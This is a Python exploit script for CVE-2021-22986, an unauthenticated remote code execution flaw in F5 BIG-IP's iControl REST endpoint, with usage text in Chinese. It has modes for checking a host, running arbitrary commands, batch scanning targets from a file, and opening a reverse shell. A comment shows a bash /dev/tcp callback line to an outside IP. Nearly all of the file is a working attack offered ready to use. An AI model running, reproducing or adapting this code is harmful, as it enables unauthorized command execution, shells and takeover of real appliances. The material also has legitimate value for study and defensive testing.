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CVE_2021_22986.py
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CVE_2021_22986.py
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import requests
import json
import sys
import argparse
import re
import json
import time
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
t = int(time.time())
def title():
print('''
______ ____ ____ _______ ___ ___ ___ __ ___ ___ ___ ___ __
/ |\ \ / / | ____| |__ \ / _ \ |__ \ /_ | |__ \ |__ \ / _ \ / _ \ / /
| ,----' \ \/ / | |__ ______ ) | | | | | ) | | | ______ ) | ) | | (_) | | (_) | / /_
| | \ / | __| |______/ / | | | | / / | | |______/ / / / \__, | > _ < | '_ \
| `----. \ / | |____ / /_ | |_| | / /_ | | / /_ / /_ / / | (_) | | (_) |
\______| \__/ |_______| |____| \___/ |____| |_| |____| |____| /_/ \___/ \___/
Author:Al1ex@Heptagram
Github:https://github.com/Al1ex
''')
print('''
验证模式：python CVE_2021_22986.py -v true -u target_url
攻击模式：python CVE_2021_22986.py -a true -u target_url -c command
批量检测：python CVE_2021_22986.py -s true -f file
反弹模式：python CVE_2021_22986.py -r true -u target_url -c command
''')
def check(target_url):
check_url = target_url + '/mgmt/tm/util/bash'
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36",
'Content-Type': 'application/json',
'X-F5-Auth-Token': '',
'Authorization': 'Basic YWRtaW46QVNhc1M='
}
data = {'command': "run",'utilCmdArgs':"-c id"}
try:
response = requests.post(url=check_url, json=data, headers=headers, verify=False, timeout=5)
if response.status_code == 200 and 'commandResult' in response.text:
print("[+] 目标 {} 存在漏洞".format(target_url))
else:
print("[-] 目标 {} 不存在漏洞".format(target_url))
except Exception as e:
print('url 访问异常 {0}'.format(target_url))
def attack(target_url,cmd):
attack_url = target_url + '/mgmt/tm/util/bash'
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36",
'Content-Type': 'application/json',
'X-F5-Auth-Token': '',
'Authorization': 'Basic YWRtaW46QVNhc1M='
}
data = {'command': "run",'utilCmdArgs':"-c '{0}'".format(cmd)}
try:
response = requests.post(url=attack_url, json=data, headers=headers, verify=False, timeout=5)
if response.status_code == 200 and 'commandResult' in response.text:
default = json.loads(response.text)
display = default['commandResult']
print("[+] 目标 {} 存在漏洞".format(target_url))
print('[+] 响应为:{0}'.format(display))
else:
print("[-] 目标 {} 不存在漏洞".format(target_url))
except Exception as e:
print('url 访问异常 {0}'.format(target_url))
def reverse_shell(target_url,command):
reverse_url = target_url + '/mgmt/tm/util/bash'
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36",
'Content-Type': 'application/json',
'X-F5-Auth-Token': '',
'Authorization': 'Basic YWRtaW46QVNhc1M='
}
data = {'command': "run",'utilCmdArgs':"-c '{0}'".format(command)}
# command: bash -i >&/dev/tcp/192.168.174.129/8888 0>&1
try:
requests.post(url=reverse_url, json=data, headers=headers, verify=False, timeout=5)
except Exception as e:
print("[+] 请自行查看是否反弹shell回来")
def scan(file):
for url_link in open(file, 'r', encoding='utf-8'):
if url_link.strip() != '':
url_path = format_url(url_link.strip())
check(url_path)
def format_url(url):
try:
if url[:4] != "http":
url = "https://" + url
url = url.strip()
return url
except Exception as e:
print('URL 错误 {0}'.format(url))
def main():
parser = argparse.ArgumentParser("F5 Big-IP RCE")
parser.add_argument('-v', '--verify', type=bool,help=' 验证模式 ')
parser.add_argument('-u', '--url', type=str, help=' 目标URL ')
parser.add_argument('-a', '--attack', type=bool, help=' 攻击模式 ')
parser.add_argument('-c', '--command', type=str, default="id", help=' 执行命令 ')
parser.add_argument('-s', '--scan', type=bool, help=' 批量模式 ')
parser.add_argument('-f', '--file', type=str, help=' 文件路径 ')
parser.add_argument('-r', '--shell', type=bool, help=' 反弹shell模式 ')
args = parser.parse_args()
verify_model = args.verify
url = args.url
attack_model = args.attack
command = args.command
scan_model = args.scan
file = args.file
shell_model = args.shell
if verify_model is True and url !=None:
check(url)
elif attack_model is True and url != None and command != None:
attack(url,command)
elif scan_model is True and file != None:
scan(file)
elif shell_model is True and url != None and command != None:
reverse_shell(url,command)
else:
sys.exit(0)
if __name__ == '__main__':
title()
main()